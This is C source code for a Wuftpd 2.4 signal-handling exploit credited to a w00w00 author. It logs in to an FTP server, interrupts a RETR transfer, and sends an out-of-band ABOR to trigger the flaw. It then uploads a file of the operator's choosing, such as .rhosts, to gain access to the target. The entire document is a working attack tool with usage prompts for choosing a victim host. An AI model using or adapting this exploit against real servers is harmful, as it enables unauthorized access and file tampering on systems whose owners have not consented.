/* w00w00! */ /* Wuftpd 2.4 signal vulnerability */ /* */ /* Shok (Matt Conover) */ /* shok@sekurity.org, shok@janova.org */ #include#include #include #include #include #include #include #include #include #include #include #define ERROR -1 #define FTPPORT 21 #define BACKLOG 1 /* Only the server should be able to connect */ #define NORMAL 0 #define OOB 1 #define TIMEOUT 25 /* How long to wait for server to connect to send */ /* us a file. */ struct sockaddr_in their_addr; int sockfd, sockfd1, newfd; char buf[1024]; char *file = NULL, file1[256]; u_long p1, p2; void command(FILE *fd, char *command, int sleeplen, int sleeplen1, int flags); void receive(FILE *fd, int sleeplen); void sighandler(int signum); void usage(char **argv); void portstuff(int sending); /* Get rid of those yucky implicit declarations when using -Wall */ unsigned short int getport1(); unsigned int alarm(); unsigned int sleep(); char *inet_ntoa(); char *getpass(); void getport(); int close(); pid_t fork(); void main(int argc, char **argv) { struct hostent *he; char *user = NULL, *host = NULL, *port = NULL, *pass = NULL; char user1[20], port1[5], host1[256]; char cmd[64]; FILE *fd; int status; int opt; printf("w00w00! ShokXiaFu!\n"); printf("Wuftpd 2.4 signal sploit.\n\n"); printf("shok@sekurity.org, shok@janova.org\n"); /* Get options */ while((opt = getopt (argc, argv, "p:u:f:h:")) != EOF) switch (opt) { case 'p': port = optarg; break; case 'u': user = optarg; break; case 'f': file = optarg; break; case 'h': host = optarg; break; case '?': usage(argv); default: break; } /* ------------------------ */ /* Things related to options */ if (argc < 3) usage(argv); if (host != NULL) printf("host is %s\n", host); else { bzero(host1, sizeof(host1)); printf("Enter host to run sploit against: "); scanf("%256s", host1); host = host1; } if (user == NULL) { bzero(user1, sizeof(user1)); printf("Enter ftp username: "); scanf("%20s", user1); user = user1; } pass = getpass("Password (of ftp user): "); if (file == NULL) { printf("Enter file to receive (needed): "); scanf("%256s", file1); file = file1; } if (port == NULL) { sprintf(port1, "21"); printf("No port specified, using %s as default port.\n", port1); port = port1; } else printf("port is %s\n", port); if ((he = gethostbyname(host)) == NULL) { herror("gethostbyname"); exit(ERROR); } if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) { perror("socket"); exit(ERROR); } /* Initialize sockaddr_in structure */ their_addr.sin_family = AF_INET; if (argc == 2) their_addr.sin_port = htons(FTPPORT); else their_addr.sin_port = htons(atoi(port)); their_addr.sin_addr = *((struct in_addr *)he->h_addr); bzero(&(their_addr.sin_zero), 8); /* -------------------------------- */ /* Connect to host */ printf("Connecting to %s (%s).\n\n", he->h_name, (char *)inet_ntoa(their_addr.sin_addr)); if (connect(sockfd, (struct sockaddr *)&their_addr, sizeof(struct sockaddr)) == ERROR) { perror("connect"); exit(ERROR); } /* --------------- */ /* Associate a FILE * with a socket fd */ if ((fd = fdopen(sockfd, "w+")) == NULL) { perror("fdopen"); close(sockfd); exit(ERROR); } /* Get welcome message */ receive(fd, 2); /* Send USER */ bzero(cmd, sizeof(cmd)); sprintf(cmd, "USER %s\n", user); command(fd, cmd, 2, 2, NORMAL); /* Send PASS */ bzero(cmd, sizeof(cmd)); sprintf(cmd, "PASS %s\n", pass); command(fd, cmd, 2, 2, NORMAL); /* We are now logged in */ /* Do everything needed to send a PORT and make a data transfer */ portstuff(0); /* We are now waiting for server on user data transfer port */ /* Send PORT */ bzero(cmd, sizeof(cmd)); sprintf(cmd, "PORT 206,71,69,243,%ld,%ld\n", (long int)p1, (long int)p2); command(fd, cmd, 2, 2, NORMAL); /* Send RETR */ bzero(cmd, sizeof(cmd)); sprintf(cmd, "RETR %s\n", file); command(fd, cmd, 2, 0, NORMAL); /* Wait to get 200 characters of the transfer then break, */ /* causing SIGPIPE. */ /* ------------------------------------------------------ */ wait((int *)&status); if (WIFEXITED(status) != 0) if(WEXITSTATUS(status) == ERROR) { fprintf(stderr, "The child exitted because of an error.\n"); fprintf(stderr, "Continuing... but may not work right.\n"); } /* ------------------------------------------------------ */ /* Send ABOR (set it up to send OOB) */ command(fd, "ABOR\n", 2, 5, OOB); /* Do the neccasary things to upload the file */ /* ------------------------------------------ */ /* Get file name to upload */ printf("File to upload (.rhosts, etc.): "); scanf("%256s", file1); file = file1; /* Do everything needed to send a PORT and make a data transfer */ portstuff(1); /* We are now waiting for server on user data transfer port */ /* Send PORT */ bzero(cmd, sizeof(cmd)); sprintf(cmd, "PORT 206,71,69,243,%ld,%ld\n", (long int)p1, (long int)p2); command(fd, cmd, 2, 2, NORMAL); /* Send STOR */ bzero(cmd, sizeof(cmd)); sprintf(cmd, "STOR %s\n", file); command(fd, cmd, 2, 2, NORMAL); /* Wait for child to send .rhosts before moving on. */ /* ------------------------------------------------------ */ wait((int *)&status); if (WIFEXITED(status) != 0) if(WEXITSTATUS(status) == ERROR) { fprintf(stderr, "The child exitted because of an error.\n"); fprintf(stderr, "Continuing... but may not work right.\n"); } /* ------------------------------------------------------ */ /* Send QUIT */ command(fd, "QUIT\n", 3, 5, NORMAL); close(sockfd); fclose(fd); } void usage(char **argv) { fprintf(stderr, "Usage: %s [-h host] [-p port] [-u user] [-f file]\n", argv[0]); fprintf(stderr, "host is the host to sploit\n"); fprintf(stderr, "user is the ftp user name (you will be asked for a password)\n"); fprintf(stderr, "file is the file to download (you'll see)\n\n"); exit(ERROR); } void command(fd, command, sleeplen, sleeplen1, flags) FILE *fd; char *command; int sleeplen; int sleeplen1; int flags; { /* Send command to ftpd */ sleep(sleeplen); bzero(buf, sizeof(buf)); if (flags == OOB) printf("Sending (as OOB data): %s", command); else printf("Sending: %s", command); if (flags != OOB) fprintf(fd, command); else send(sockfd, "ABOR\n", 5, MSG_OOB); receive(fd, sleeplen1); } void receive(FILE *fd, int sleeplen) { sleep(sleeplen); bzero(buf, sizeof(buf)); fgets(buf, sizeof(buf) - 1, fd); printf("Received: %s", buf); putchar('\n'); } void sighandler(int signum) { close(sockfd1); close(sockfd); fprintf(stderr, "The client was for the server to connect for %d " "seconds, and so exitting the child (we'll let the " "rest finish anyway).\n", TIMEOUT); exit(ERROR); } void portstuff(int sending) /* sending = 0 means receiving, sending = 1 */ /* means we're sending */ { int ssize; int newfd; FILE *fd, *fdd; int on = 1, val; struct sockaddr_in our_addr, their_addr; /* Do all the ugly stuff to receive the data */ /* ----------------------------------------- */ /* Get the local address and port number */ ssize = sizeof(struct sockaddr); if (getsockname(sockfd, (struct sockaddr *)&our_addr, (int *)&ssize) == ERROR) { perror("getsockname"); close(sockfd); fclose(fd); exit(ERROR); } /* ------------------------------------- */ /* Setup everything for user data transfer port */ if ((sockfd1 = socket(AF_INET, SOCK_STREAM, 0)) == ERROR) { perror("socket"); close(sockfd); fclose(fd); exit(ERROR); } val = setsockopt(sockfd1, SOL_SOCKET, SO_REUSEADDR, (char *)&on, sizeof(on)); if (val == ERROR) { perror("setsockopt"); close(sockfd); close(sockfd1); exit(ERROR); } our_addr.sin_port += 2; /* To use the next available port for receiving */ /* data. */ while(1) { /* Little hack to be sure we bind to something */ if (bind(sockfd1, (struct sockaddr *)&our_addr, sizeof(struct sockaddr)) == ERROR) { perror("bind"); our_addr.sin_port++; continue; } else break; } /* Send port number to get p1 and p2, send with PORT */ getport((u_long *)&p1, (u_long *)&p2, htons(our_addr.sin_port)); printf("User data transfer port is: %u\n", getport1(p1, p2)); if (listen(sockfd1, BACKLOG) == ERROR) { perror("listen"); close(sockfd1); close(sockfd); exit(ERROR); } alarm(0); signal(SIGALRM, SIG_IGN); ssize = sizeof(struct sockaddr_in); if (!fork()) { /* char path[256]; */ register int dork = 0; /* Set sockfd1 into non block mode */ signal (SIGALRM, sighandler); /* Wait for no more than 20 seconds for server to connect */ /* after that give up (for example when you try to get a */ /* file that isn't there...this will wait forever. */ alarm(TIMEOUT); if ((newfd = accept(sockfd1, (struct sockaddr *)&their_addr, &ssize)) == ERROR) { perror("accept"); close(sockfd); close(sockfd1); exit(ERROR); } alarm(0); printf("We got our connection from: %s, port: %d\n", (char *)inet_ntoa(their_addr.sin_addr.s_addr), htons(their_addr.sin_port)); /* Be sure we are able to write data to a file */ /* bzero(path, sizeof(path)); sprintf(path, "/tmp/test/ftp/filewegot"); */ if (sending != 1) { if ((fdd = fopen("/tmp/test/ftp/filewegot", "w")) == NULL) { perror("fopen"); } } else { if ((fdd = fopen(file, "r")) == NULL) { perror("open"); fprintf(stderr, "Continuing anyway...but there may be problems.\n"); } } if (sending != 1) { if ((fd = fdopen(newfd, "r")) == NULL) { perror("fdopen"); /* close(sockfd); close(sockfd1); close(newfd); fclose(fd); fclose(fdd); exit(ERROR); */ } } else { if ((fd = fdopen(newfd, "w")) == NULL) { perror("fdopen"); /* close(sockfd); close(sockfd1); close(newfd); fclose(fd); fclose(fdd); exit(ERROR); */ } } if (sending != 1) { while(dork < 200) { char ch; if ((ch = fgetc(fd)) != EOF) fputc(ch, fdd); else { fclose(fdd); fclose(fd); break; } dork++; } printf("\nNow interupting data connection (file transfer).\n"); fclose(fd); fclose(fdd); close(newfd); close(sockfd1); } else { char ch; printf("\nNow sending the file %s to site.\n", file); while (1) { if ((ch = getc(fdd)) == EOF) break; fputc(ch, fd); } fclose(fd); fclose(fdd); close(newfd); close(sockfd1); } exit(0); } }